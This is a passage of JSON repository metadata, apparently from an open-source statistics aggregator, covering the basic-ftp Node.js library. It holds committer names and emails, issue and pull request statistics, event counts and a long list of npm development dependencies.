Hernandez","email":"carloshdmn@gmail.com","login":"CodingCarlos","count":2},{"name":"mrzmyr","email":"m0ritz.m3yer@gmail.com","login":null,"count":1},{"name":"Alan Doherty","email":"alan.fred.doherty@googlemail.com","login":"alandoherty","count":1},{"name":"BeomSoo Jeong","email":"inithink@gmail.com","login":"inithink","count":1},{"name":"Corey Sewell","email":"corey@sewell.net.nz","login":"cjsewell","count":1},{"name":"Fabian","email":"fabian.meul@gmail.com","login":"FabianMeul","count":1},{"name":"Kerim Güney","email":"kerim@gueney.io","login":"KerimG","count":1},{"name":"Martijn Imhoff","email":"info@martijnimhoff.nl","login":"martijnimhoff","count":1},{"name":"Mike Odom","email":"5105729+ThatOdieGuy","login":"ThatOdieGuy","count":1},{"name":"Mikołaj Palkiewicz","email":"xnerhu22@onet.pl","login":"xnerhu","count":1},{"name":"Ray Foss","email":"ray@vblip.com","login":"FossPrime","count":1},{"name":"Robert Kieffer","email":"robert@broofa.com","login":"broofa","count":1},{"name":"Tyler Stewart","email":"tylers490@gmail.com","login":"trs","count":1},{"name":"lgpseu","email":"lgp_seu@163.com","login":"lgpseu","count":1},{"name":"sparebytes","email":"sparebytes@gmail.com","login":"sparebytes","count":1}],"past_year_committers":[{"name":"Patrick Juchli","email":"patrickjuchli@gmail.com","login":"patrickjuchli","count":60}],"commits_url":"https://commits.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/commits","host":{"name":"GitHub","url":"https://github.com","kind":"github","last_synced_at":"2026-08-20T00:00:10.776Z","repositories_count":6750506,"commits_count":978010206,"contributors_count":41229425,"owners_count":1358604,"committers_count":3352512,"icon_url":"https://github.com/github.png","host_url":"https://commits.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://commits.ecosyste.ms/api/v1/hosts/GitHub/repositories"}},"issues":{"table":{"full_name":"patrickjuchli/basic-ftp","html_url":"https://github.com/patrickjuchli/basic-ftp","last_synced_at":"2026-08-23T11:32:28.548Z","status":null,"issues_count":125,"pull_requests_count":35,"avg_time_to_close_issue":10598646.875,"avg_time_to_close_pull_request":13587561.0,"issues_closed_count":112,"pull_requests_closed_count":30,"pull_request_authors_count":18,"issue_authors_count":108,"avg_comments_per_issue":2.872,"avg_comments_per_pull_request":1.5142857142857142,"merged_pull_requests_count":11,"bot_issues_count":0,"bot_pull_requests_count":13,"past_year_issues_count":4,"past_year_pull_requests_count":11,"past_year_avg_time_to_close_issue":654818.0,"past_year_avg_time_to_close_pull_request":1455858.4545454546,"past_year_issues_closed_count":3,"past_year_pull_requests_closed_count":11,"past_year_pull_request_authors_count":2,"past_year_issue_authors_count":4,"past_year_avg_comments_per_issue":0.5,"past_year_avg_comments_per_pull_request":1.2727272727272727,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":9,"past_year_merged_pull_requests_count":2,"created_at":"2023-05-19T08:36:54.913Z","updated_at":"2026-08-23T11:32:28.548Z","repository_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp","issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/issues","issue_labels_count":{"table":{"feature request":1,"bug":1}},"pull_request_labels_count":{"table":{"dependencies":13,"javascript":9}},"issue_author_associations_count":{"table":{"NONE":121,"OWNER":3,"CONTRIBUTOR":1}},"pull_request_author_associations_count":{"table":{"CONTRIBUTOR":20,"NONE":13,"OWNER":2}},"issue_authors":{"table":{"malee1975":6,"patrickjuchli":3,"p3im4n":2,"qzq111":2,"zrougeau":2,"ptorrent":2,"warpdesign":2,"ntscshen":2,"jayanthsaikiran":2,"psr1410":2,"JonathanWilbur":2,"TheArmagan":2,"michael-kotliar":1,"sntran":1,"glanderson42":1,"amir0ff":1,"mcpiroman":1,"aditya81070":1,"daytona16520":1,"kingyue737":1,"Satyam":1,"EllyssonMike":1,"apm29":1,"ct0r":1,"thomaschaaf":1,"RecycleBen":1,"akachi1409":1,"lfnovo":1,"quequiere":1,"MrBrocaster":1,"doron2402":1,"beyondsensor":1,"delacko":1,"nezzard":1,"iosc82":1,"sjh836":1,"devCronos":1,"ChristanFarel":1,"bosunolanrewaju":1,"thib3113":1,"gilles-crealp":1,"rabeeshcharles":1,"vicary":1,"Themp10":1,"sejoordagic12":1,"katesun-roserocket":1,"Mat40":1,"hcorta":1,"PRR24":1,"wangguangyou":1,"zjwertz8":1,"sp00x":1,"bbalouki":1,"rahim3070":1,"0x7ee":1,"arkraft":1,"medokin":1,"frankchen211":1,"filoucrackeur":1,"abanchev":1,"MathiasDrapier":1,"sibelius":1,"williamsdyyz":1,"answord":1,"PhuocHoangMinhNguyen":1,"leoriviera":1,"nelsonkd":1,"Nexmind":1,"a-tonchev":1,"uchar":1,"EZOnlineDocuments":1,"ctfrancia":1,"MiateOfficial":1,"DanAmel":1,"chinook07":1,"jimmywarting":1,"danydasilva":1,"focussing":1,"guilhermealbino33":1,"slongiaru-rblab":1,"justin-dx":1,"dmitriyshashkin":1,"I2rys":1,"crowbait":1,"mgrist":1,"jonhue":1,"top-kat":1,"mitxp":1,"yadickson":1,"johnlaine1":1,"SamKirkland":1,"smroutes":1,"xnerhu":1,"everhardt":1,"dlear":1,"paulrobertlloyd":1,"wshixjrnjr":1,"bossi4ek":1,"pitawatn":1,"matt-forster":1,"George-Brendan-Doyle":1,"babpulss":1,"laazaz":1,"akermabon":1,"menix1337":1,"jdmiranda":1,"g-rodigy":1,"Aworldc":1}},"pull_request_authors":{"table":{"dependabot[bot]":13,"martijnimhoff":2,"patrickjuchli":2,"timint":2,"jc-lab":2,"julianosk":2,"cjsewell":1,"lgpseu":1,"RythenGlyth":1,"aliaksei-lebedzeu":1,"anilcan-kara":1,"5h1ro":1,"ericauv":1,"inithink":1,"FossPrime":1,"alandoherty":1,"NakagawaAtsushi":1,"sparebytes":1}},"host":{"table":{"name":"GitHub","url":"https://github.com","kind":"github","last_synced_at":"2026-08-24T00:00:06.384Z","repositories_count":16301769,"issues_count":42335015,"pull_requests_count":134763975,"authors_count":11516393,"icon_url":"https://github.com/github.png","host_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories","owners_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/owners","authors_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors"}},"past_year_issue_labels_count":{"table":{}},"past_year_pull_request_labels_count":{"table":{"dependencies":9,"javascript":9}},"past_year_issue_author_associations_count":{"table":{"NONE":4}},"past_year_pull_request_author_associations_count":{"table":{"CONTRIBUTOR":9,"OWNER":2}},"past_year_issue_authors":{"table":{"apm29":1,"Aworldc":1,"jdmiranda":1,"sejoordagic12":1}},"past_year_pull_request_authors":{"table":{"dependabot[bot]":9,"patrickjuchli":2}},"maintainers":[{"table":{"login":"patrickjuchli","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/patrickjuchli"}}],"active_maintainers":[{"table":{"login":"patrickjuchli","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/patrickjuchli"}}]}},"events":{"total":{"DeleteEvent":2,"PullRequestEvent":6,"ForkEvent":11,"IssuesEvent":16,"WatchEvent":27,"IssueCommentEvent":18,"PushEvent":21,"PullRequestReviewEvent":1,"CreateEvent":3},"last_year":{"DeleteEvent":2,"PullRequestEvent":4,"ForkEvent":1,"IssuesEvent":3,"WatchEvent":4,"IssueCommentEvent":7,"PushEvent":21,"PullRequestReviewEvent":1,"CreateEvent":3}},"keywords":["async-await","ftp","ftps","ipv6","nodejs","promise","tls","typescript"],"dependencies":[{"ecosystem":"actions","filepath":".github/workflows/integration.yml","sha":null,"kind":"manifest","created_at":"2026-06-16T01:02:12.837Z","updated_at":"2026-06-16T01:02:12.837Z","repository_link":"https://github.com/patrickjuchli/basic-ftp/blob/master/.github/workflows/integration.yml","dependencies":[{"id":25874367633,"package_name":"actions/checkout","ecosystem":"actions","requirements":"v6","direct":true,"kind":"composite","optional":false},{"id":25874367640,"package_name":"actions/setup-node","ecosystem":"actions","requirements":"v6","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"docker","filepath":"test/integration/proftpd/Dockerfile","sha":null,"kind":"manifest","created_at":"2026-06-16T01:02:13.102Z","updated_at":"2026-06-16T01:02:13.102Z","repository_link":"https://github.com/patrickjuchli/basic-ftp/blob/master/test/integration/proftpd/Dockerfile","dependencies":[{"id":25874367642,"package_name":"debian","ecosystem":"docker","requirements":"bookworm-slim","direct":true,"kind":"build","optional":false}]},{"ecosystem":"npm","filepath":"package-lock.json","sha":null,"kind":"lockfile","created_at":"2022-09-14T12:40:56.385Z","updated_at":"2022-09-14T12:40:56.385Z","repository_link":"https://github.com/patrickjuchli/basic-ftp/blob/master/package-lock.json","dependencies":[{"id":4827317120,"package_name":"@eslint/eslintrc","ecosystem":"npm","requirements":"1.3.1","direct":false,"kind":"development","optional":false},{"id":4827317121,"package_name":"@humanwhocodes/config-array","ecosystem":"npm","requirements":"0.10.4","direct":false,"kind":"development","optional":false},{"id":4827317122,"package_name":"@humanwhocodes/gitignore-to-minimatch","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"development","optional":false},{"id":4827317123,"package_name":"@humanwhocodes/module-importer","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"development","optional":false},{"id":4827317124,"package_name":"@humanwhocodes/object-schema","ecosystem":"npm","requirements":"1.2.1","direct":false,"kind":"development","optional":false},{"id":4827317125,"package_name":"@nodelib/fs.scandir","ecosystem":"npm","requirements":"2.1.5","direct":false,"kind":"development","optional":false},{"id":4827317126,"package_name":"@nodelib/fs.stat","ecosystem":"npm","requirements":"2.0.5","direct":false,"kind":"development","optional":false},{"id":4827317127,"package_name":"@nodelib/fs.walk","ecosystem":"npm","requirements":"1.2.8","direct":false,"kind":"development","optional":false},{"id":4827317128,"package_name":"@types/json-schema","ecosystem":"npm","requirements":"7.0.11","direct":false,"kind":"development","optional":false},{"id":4827317129,"package_name":"@types/mocha","ecosystem":"npm","requirements":"9.1.1","direct":false,"kind":"development","optional":false},{"id":4827317130,"package_name":"@types/node","ecosystem":"npm","requirements":"18.7.14","direct":false,"kind":"development","optional":false},{"id":4827317131,"package_name":"@typescript-eslint/eslint-plugin","ecosystem":"npm","requirements":"5.36.1","direct":false,"kind":"development","optional":false},{"id":4827317132,"package_name":"@typescript-eslint/parser","ecosystem":"npm","requirements":"5.36.1","direct":false,"kind":"development","optional":false},{"id":4827317133,"package_name":"@typescript-eslint/scope-manager","ecosystem":"npm","requirements":"5.36.1","direct":false,"kind":"development","optional":false},{"id":4827317134,"package_name":"@typescript-eslint/type-utils","ecosystem":"npm","requirements":"5.36.1","direct":false,"kind":"development","optional":false},{"id":4827317135,"package_name":"@typescript-eslint/types","ecosystem":"npm","requirements":"5.36.1","direct":false,"kind":"development","optional":false},{"id":4827317136,"package_name":"@typescript-eslint/typescript-estree","ecosystem":"npm","requirements":"5.36.1","direct":false,"kind":"development","optional":false},{"id":4827317137,"package_name":"@typescript-eslint/utils","ecosystem":"npm","requirements":"5.36.1","direct":false,"kind":"development","optional":false},{"id":4827317138,"package_name":"@typescript-eslint/visitor-keys","ecosystem":"npm","requirements":"5.36.1","direct":false,"kind":"development","optional":false},{"id":4827317139,"package_name":"@ungap/promise-all-settled","ecosystem":"npm","requirements":"1.1.2","direct":false,"kind":"development","optional":false},{"id":4827317140,"package_name":"acorn","ecosystem":"npm","requirements":"8.8.0","direct":false,"kind":"development","optional":false},{"id":4827317141,"package_name":"acorn-jsx","ecosystem":"npm","requirements":"5.3.2","direct":false,"kind":"development","optional":false},{"id":4827317142,"package_name":"ajv","ecosystem":"npm","requirements":"6.12.6","direct":false,"kind":"development","optional":false},{"id":4827317143,"package_name":"ansi-colors","ecosystem":"npm","requirements":"4.1.1","direct":false,"kind":"development","optional":false},{"id":4827317144,"package_name":"ansi-regex","ecosystem":"npm","requirements":"5.0.1","direct":false,"kind":"development","optional":false},{"id":4827317145,"package_name":"ansi-styles","ecosystem":"npm","requirements":"4.3.0","direct":false,"kind":"development","optional":false},{"id":4827317146,"package_name":"anymatch","ecosystem":"npm","requirements":"3.1.2","direct":false,"kind":"development","optional":false},{"id":4827317147,"package_name":"argparse","ecosystem":"npm","requirements":"2.0.1","direct":false,"kind":"development","optional":false},{"id":4827317148,"package_name":"array-union","ecosystem":"npm","requirements":"2.1.0","direct":false,"kind":"development","optional":false},{"id":4827317149,"package_name":"balanced-match","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"development","optional":false},{"id":4827317150,"package_name":"binary-extensions","ecosystem":"npm","requirements":"2.2.0","direct":false,"kind":"development","optional":false},{"id":4827317151,"package_name":"brace-expansion","ecosystem":"npm","requirements":"1.1.11","direct":false,"kind":"development","optional":false},{"id":4827317152,"package_name":"braces","ecosystem":"npm","requirements":"3.0.2","direct":false,"kind":"development","optional":false},{"id":4827317153,"package_name":"browser-stdout","ecosystem":"npm","requirements":"1.3.1","direct":false,"kind":"development","optional":false},{"id":4827317154,"package_name":"callsites","ecosystem":"npm","requirements":"3.1.0","direct":false,"kind":"development","optional":false},{"id":4827317155,"package_name":"camelcase","ecosystem":"npm","requirements":"6.3.0","direct":false,"kind":"development","optional":false},{"id":4827317156,"package_name":"chalk","ecosystem":"npm","requirements":"4.1.2","direct":false,"kind":"development","optional":false},{"id":4827317157,"package_name":"chokidar","ecosystem":"npm","requirements":"3.5.3","direct":false,"kind":"development","optional":false},{"id":4827317158,"package_name":"glob-parent","ecosystem":"npm","requirements":"5.1.2","direct":false,"kind":"development","optional":false},{"id":4827317159,"package_name":"cliui","ecosystem":"npm","requirements":"7.0.4","direct":false,"kind":"development","optional":false},{"id":4827317160,"package_name":"color-convert","ecosystem":"npm","requirements":"2.0.1","direct":false,"kind":"development","optional":false},{"id":4827317161,"package_name":"color-name","ecosystem":"npm","requirements":"1.1.4","direct":false,"kind":"development","optional":false},{"id":4827317162,"package_name":"concat-map","ecosystem":"npm","requirements":"0.0.1","direct":false,"kind":"development","optional":false},{"id":4827317163,"package_name":"cross-spawn","ecosystem":"npm","requirements":"7.0.3","direct":false,"kind":"development","optional":false},{"id":4827317164,"package_name":"debug","ecosystem":"npm","requirements":"4.3.4","direct":false,"kind":"development","optional":false},{"id":4827317165,"package_name":"decamelize","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":4827317166,"package_name":"deep-is","ecosystem":"npm","requirements":"0.1.4","direct":false,"kind":"development","optional":false},{"id":4827317167,"package_name":"diff","ecosystem":"npm","requirements":"5.0.0","direct":false,"kind":"development","optional":false},{"id":4827317168,"package_name":"dir-glob","ecosystem":"npm","requirements":"3.0.1","direct":false,"kind":"development","optional":false},{"id":4827317169,"package_name":"doctrine","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":4827317170,"package_name":"emoji-regex","ecosystem":"npm","requirements":"8.0.0","direct":false,"kind":"development","optional":false},{"id":4827317171,"package_name":"escalade","ecosystem":"npm","requirements":"3.1.1","direct":false,"kind":"development","optional":false},{"id":4827317172,"package_name":"escape-string-regexp","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":4827317173,"package_name":"eslint","ecosystem":"npm","requirements":"8.23.0","direct":false,"kind":"development","optional":false},{"id":4827317174,"package_name":"eslint-scope","ecosystem":"npm","requirements":"7.1.1","direct":false,"kind":"development","optional":false},{"id":4827317175,"package_name":"estraverse","ecosystem":"npm","requirements":"5.3.0","direct":false,"kind":"development","optional":false},{"id":4827317176,"package_name":"eslint-scope","ecosystem":"npm","requirements":"5.1.1","direct":false,"kind":"development","optional":false},{"id":4827317177,"package_name":"eslint-utils","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":4827317178,"package_name":"eslint-visitor-keys","ecosystem":"npm","requirements":"2.1.0","direct":false,"kind":"development","optional":false},{"id":4827317179,"package_name":"eslint-visitor-keys","ecosystem":"npm","requirements":"3.3.0","direct":false,"kind":"development","optional":false},{"id":4827317180,"package_name":"espree","ecosystem":"npm","requirements":"9.4.0","direct":false,"kind":"development","optional":false},{"id":4827317181,"package_name":"esquery","ecosystem":"npm","requirements":"1.4.0","direct":false,"kind":"development","optional":false},{"id":4827317182,"package_name":"esrecurse","ecosystem":"npm","requirements":"4.3.0","direct":false,"kind":"development","optional":false},{"id":4827317183,"package_name":"estraverse","ecosystem":"npm","requirements":"4.3.0","direct":false,"kind":"development","optional":false},{"id":4827317184,"package_name":"esutils","ecosystem":"npm","requirements":"2.0.3","direct":false,"kind":"development","optional":false},{"id":4827317185,"package_name":"fast-deep-equal","ecosystem":"npm","requirements":"3.1.3","direct":false,"kind":"development","optional":false},{"id":4827317186,"package_name":"fast-glob","ecosystem":"npm","requirements":"3.2.11","direct":false,"kind":"development","optional":false},{"id":4827317187,"package_name":"fast-json-stable-stringify","ecosystem":"npm","requirements":"2.1.0","direct":false,"kind":"development","optional":false},{"id":4827317188,"package_name":"fast-levenshtein","ecosystem":"npm","requirements":"2.0.6","direct":false,"kind":"development","optional":false},{"id":4827317189,"package_name":"fastq","ecosystem":"npm","requirements":"1.13.0","direct":false,"kind":"development","optional":false},{"id":4827317190,"package_name":"file-entry-cache","ecosystem":"npm","requirements":"6.0.1","direct":false,"kind":"development","optional":false},{"id":4827317191,"package_name":"fill-range","ecosystem":"npm","requirements":"7.0.1","direct":false,"kind":"development","optional":false},{"id":4827317192,"package_name":"find-up","ecosystem":"npm","requirements":"5.0.0","direct":false,"kind":"development","optional":false},{"id":4827317193,"package_name":"flat","ecosystem":"npm","requirements":"5.0.2","direct":false,"kind":"development","optional":false},{"id":4827317194,"package_name":"flat-cache","ecosystem":"npm","requirements":"3.0.4","direct":false,"kind":"development","optional":false},{"id":4827317195,"package_name":"flatted","ecosystem":"npm","requirements":"3.2.6","direct":false,"kind":"development","optional":false},{"id":4827317196,"package_name":"fs.realpath","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":4827317197,"package_name":"fsevents","ecosystem":"npm","requirements":"2.3.2","direct":false,"kind":"development","optional":false},{"id":4827317198,"package_name":"functional-red-black-tree","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"development","optional":false},{"id":4827317199,"package_name":"get-caller-file","ecosystem":"npm","requirements":"2.0.5","direct":false,"kind":"development","optional":false},{"id":4827317200,"package_name":"glob","ecosystem":"npm","requirements":"7.2.0","direct":false,"kind":"development","optional":false},{"id":4827317201,"package_name":"glob-parent","ecosystem":"npm","requirements":"6.0.2","direct":false,"kind":"development","optional":false},{"id":4827317202,"package_name":"globals","ecosystem":"npm","requirements":"13.17.0","direct":false,"kind":"development","optional":false},{"id":4827317203,"package_name":"globby","ecosystem":"npm","requirements":"11.1.0","direct":false,"kind":"development","optional":false},{"id":4827317204,"package_name":"grapheme-splitter","ecosystem":"npm","requirements":"1.0.4","direct":false,"kind":"development","optional":false},{"id":4827317205,"package_name":"has-flag","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":4827317206,"package_name":"he","ecosystem":"npm","requirements":"1.2.0","direct":false,"kind":"development","optional":false},{"id":4827317207,"package_name":"ignore","ecosystem":"npm","requirements":"5.2.0","direct":false,"kind":"development","optional":false},{"id":4827317208,"package_name":"import-fresh","ecosystem":"npm","requirements":"3.3.0","direct":false,"kind":"development","optional":false},{"id":4827317209,"package_name":"imurmurhash","ecosystem":"npm","requirements":"0.1.4","direct":false,"kind":"development","optional":false},{"id":4827317210,"package_name":"inflight","ecosystem":"npm","requirements":"1.0.6","direct":false,"kind":"development","optional":false},{"id":4827317211,"package_name":"inherits","ecosystem":"npm","requirements":"2.0.4","direct":false,"kind":"development","optional":false},{"id":4827317212,"package_name":"is-binary-path","ecosystem":"npm","requirements":"2.1.0","direct":false,"kind":"development","optional":false},{"id":4827317213,"package_name":"is-extglob","ecosystem":"npm","requirements":"2.1.1","direct":false,"kind":"development","optional":false},{"id":4827317214,"package_name":"is-fullwidth-code-point","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":4827317215,"package_name":"is-glob","ecosystem":"npm","requirements":"4.0.3","direct":false,"kind":"development","optional":false},{"id":4827317216,"package_name":"is-number","ecosystem":"npm","requirements":"7.0.0","direct":false,"kind":"development","optional":false},{"id":4827317217,"package_name":"is-plain-obj","ecosystem":"npm","requirements":"2.1.0","direct":false,"kind":"development","optional":false},{"id":4827317218,"package_name":"is-unicode-supported","ecosystem":"npm","requirements":"0.1.0","direct":false,"kind":"development","optional":false},{"id":4827317219,"package_name":"isexe","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"development","optional":false},{"id":4827317220,"package_name":"js-yaml","ecosystem":"npm","requirements":"4.1.0","direct":false,"kind":"development","optional":false},{"id":4827317221,"package_name":"json-schema-traverse","ecosystem":"npm","requirements":"0.4.1","direct":false,"kind":"development","optional":false},{"id":4827317222,"package_name":"json-stable-stringify-without-jsonify","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"development","optional":false},{"id":4827317223,"package_name":"levn","ecosystem":"npm","requirements":"0.4.1","direct":false,"kind":"development","optional":false},{"id":4827317224,"package_name":"locate-path","ecosystem":"npm","requirements":"6.0.0","direct":false,"kind":"development","optional":false},{"id":4827317225,"package_name":"lodash.merge","ecosystem":"npm","requirements":"4.6.2","direct":false,"kind":"development","optional":false},{"id":4827317226,"package_name":"log-symbols","ecosystem":"npm","requirements":"4.1.0","direct":false,"kind":"development","optional":false},{"id":4827317227,"package_name":"lru-cache","ecosystem":"npm","requirements":"6.0.0","direct":false,"kind":"development","optional":false},{"id":4827317228,"package_name":"merge2","ecosystem":"npm","requirements":"1.4.1","direct":false,"kind":"development","optional":false},{"id":4827317229,"package_name":"micromatch","ecosystem":"npm","requirements":"4.0.5","direct":false,"kind":"development","optional":false},{"id":4827317230,"package_name":"minimatch","ecosystem":"npm","requirements":"3.1.2","direct":false,"kind":"development","optional":false},{"id":4827317231,"package_name":"mocha","ecosystem":"npm","requirements":"10.0.0","direct":false,"kind":"development","optional":false},{"id":4827317232,"package_name":"brace-expansion","ecosystem":"npm","requirements":"2.0.1","direct":false,"kind":"development","optional":false},{"id":4827317233,"package_name":"minimatch","ecosystem":"npm","requirements":"5.0.1","direct":false,"kind":"development","optional":false},{"id":4827317234,"package_name":"ms","ecosystem":"npm","requirements":"2.1.3","direct":false,"kind":"development","optional":false},{"id":4827317235,"package_name":"supports-color","ecosystem":"npm","requirements":"8.1.1","direct":false,"kind":"development","optional":false},{"id":4827317236,"package_name":"mock-fs","ecosystem":"npm","requirements":"5.1.4","direct":false,"kind":"development","optional":false},{"id":4827317237,"package_name":"ms","ecosystem":"npm","requirements":"2.1.2","direct":false,"kind":"development","optional":false},{"id":4827317238,"package_name":"nanoid","ecosystem":"npm","requirements":"3.3.3","direct":false,"kind":"development","optional":false},{"id":4827317239,"package_name":"natural-compare","ecosystem":"npm","requirements":"1.4.0","direct":false,"kind":"development","optional":false},{"id":4827317240,"package_name":"normalize-path","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":4827317241,"package_name":"once","ecosystem":"npm","requirements":"1.4.0","direct":false,"kind":"development","optional":false},{"id":4827317242,"package_name":"optionator","ecosystem":"npm","requirements":"0.9.1","direct":false,"kind":"development","optional":false},{"id":4827317243,"package_name":"p-limit","ecosystem":"npm","requirements":"3.1.0","direct":false,"kind":"development","optional":false},{"id":4827317244,"package_name":"p-locate","ecosystem":"npm","requirements":"5.0.0","direct":false,"kind":"development","optional":false},{"id":4827317245,"package_name":"parent-module","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"development","optional":false},{"id":4827317246,"package_name":"path-exists","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":4827317247,"package_name":"path-is-absolute","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"development","optional":false},{"id":4827317248,"package_name":"path-key","ecosystem":"npm","requirements":"3.1.1","direct":false,"kind":"development","optional":false},{"id":4827317249,"package_name":"path-type","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":4827317250,"package_name":"picomatch","ecosystem":"npm","requirements":"2.3.1","direct":false,"kind":"development","optional":false},{"id":4827317251,"package_name":"prelude-ls","ecosystem":"npm","requirements":"1.2.1","direct":false,"kind":"development","optional":false},{"id":4827317252,"package_name":"punycode","ecosystem":"npm","requirements":"2.1.1","direct":false,"kind":"development","optional":false},{"id":4827317253,"package_name":"queue-microtask","ecosystem":"npm","requirements":"1.2.3","direct":false,"kind":"development","optional":false},{"id":4827317254,"package_name":"randombytes","ecosystem":"npm","requirements":"2.1.0","direct":false,"kind":"development","optional":false},{"id":4827317255,"package_name":"readdirp","ecosystem":"npm","requirements":"3.6.0","direct":false,"kind":"development","optional":false},{"id":4827317256,"package_name":"regexpp","ecosystem":"npm","requirements":"3.2.0","direct":false,"kind":"development","optional":false},{"id":4827317257,"package_name":"require-directory","ecosystem":"npm","requirements":"2.1.1","direct":false,"kind":"development","optional":false},{"id":4827317258,"package_name":"resolve-from","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":4827317259,"package_name":"reusify","ecosystem":"npm","requirements":"1.0.4","direct":false,"kind":"development","optional":false},{"id":4827317260,"package_name":"rimraf","ecosystem":"npm","requirements":"3.0.2","direct":false,"kind":"development","optional":false},{"id":4827317261,"package_name":"run-parallel","ecosystem":"npm","requirements":"1.2.0","direct":false,"kind":"development","optional":false},{"id":4827317262,"package_name":"safe-buffer","ecosystem":"npm","requirements":"5.2.1","direct":false,"kind":"development","optional":false},{"id":4827317263,"package_name":"semver","ecosystem":"npm","requirements":"7.3.7","direct":false,"kind":"development","optional":false},{"id":4827317264,"package_name":"serialize-javascript","ecosystem":"npm","requirements":"6.0.0","direct":false,"kind":"development","optional":false},{"id":4827317265,"package_name":"shebang-command","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"development","optional":false},{"id":4827317266,"package_name":"shebang-regex","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":4827317267,"package_name":"slash","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":4827317268,"package_name":"string-width","ecosystem":"npm","requirements":"4.2.3","direct":false,"kind":"development","optional":false},{"id":4827317269,"package_name":"strip-ansi","ecosystem":"npm","requirements":"6.0.1","direct":false,"kind":"development","optional":false},{"id":4827317270,"package_name":"strip-json-comments","ecosystem":"npm","requirements":"3.1.1","direct":false,"kind":"development","optional":false},{"id":4827317271,"package_name":"supports-color","ecosystem":"npm","requirements":"7.2.0","direct":false,"kind":"development","optional":false},{"id":4827317272,"package_name":"text-table","ecosystem":"npm","requirements":"0.2.0","direct":false,"kind":"development","optional":false},{"id":4827317273,"package_name":"to-regex-range","ecosystem":"npm","requirements":"5.0.1","direct":false,"kind":"development","optional":false},{"id":4827317274,"package_name":"tslib","ecosystem":"npm","requirements":"1.14.1","direct":false,"kind":"development","optional":false},{"id":4827317275,"package_name":"tsutils","ecosystem":"npm","requirements":"3.21.0","direct":false,"kind":"development","optional":false},{"id":4827317276,"package_name":"type-check","ecosystem":"npm","requirements":"0.4.0","direct":false,"kind":"development","optional":false},{"id":4827317277,"package_name":"type-fest","ecosystem":"npm","requirements":"0.20.2","direct":false,"kind":"development","optional":false},{"id":4827317278,"package_name":"typescript","ecosystem":"npm","requirements":"4.8.2","direct":false,"kind":"development","optional":false},{"id":4827317279,"package_name":"uri-js","ecosystem":"npm","requirements":"4.4.1","direct":false,"kind":"development","optional":false},{"id":4827317280,"package_name":"which","ecosystem":"npm","requirements":"2.0.2","direct":false,"kind":"development","optional":false},{"id":4827317281,"package_name":"word-wrap","ecosystem":"npm","requirements":"1.2.3","direct":false,"kind":"development","optional":false},{"id":4827317282,"package_name":"workerpool","ecosystem":"npm","requirements":"6.2.1","direct":false,"kind":"development","optional":false},{"id":4827317283,"package_name":"wrap-ansi","ecosystem":"npm","requirements":"7.0.0","direct":false,"kind":"development","optional":false},{"id":4827317284,"package_name":"wrappy","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"development","optional":false},{"id":4827317285,"package_name":"y18n","ecosystem":"npm","requirements":"5.0.8","direct":false,"kind":"development","optional":false},{"id":4827317286,"package_name":"yallist","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":4827317287,"package_name":"yargs","ecosystem":"npm","requirements":"16.2.0","direct":false,"kind":"development","optional":false},{"id":4827317288,"package_name":"yargs-parser","ecosystem":"npm","requirements":"20.2.4","direct":false,"kind":"development","optional":false},{"id":4827317289,"package_name":"yargs-unparser","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"development","optional":false},{"id":4827317290,"package_name":"yocto-queue","ecosystem":"npm","requirements":"0.1.0","direct":false,"kind":"development","optional":false}]},{"ecosystem":"npm","filepath":"package.json","sha":null,"kind":"manifest","created_at":"2022-09-14T12:40:56.447Z","updated_at":"2022-09-14T12:40:56.447Z","repository_link":"https://github.com/patrickjuchli/basic-ftp/blob/master/package.json","dependencies":[{"id":4827317365,"package_name":"@types/mocha","ecosystem":"npm","requirements":"9.1.1","direct":true,"kind":"development","optional":false},{"id":4827317366,"package_name":"@types/node","ecosystem":"npm","requirements":"18.7.14","direct":true,"kind":"development","optional":false},{"id":4827317367,"package_name":"@typescript-eslint/eslint-plugin","ecosystem":"npm","requirements":"5.36.1","direct":true,"kind":"development","optional":false},{"id":4827317368,"package_name":"@typescript-eslint/parser","ecosystem":"npm","requirements":"5.36.1","direct":true,"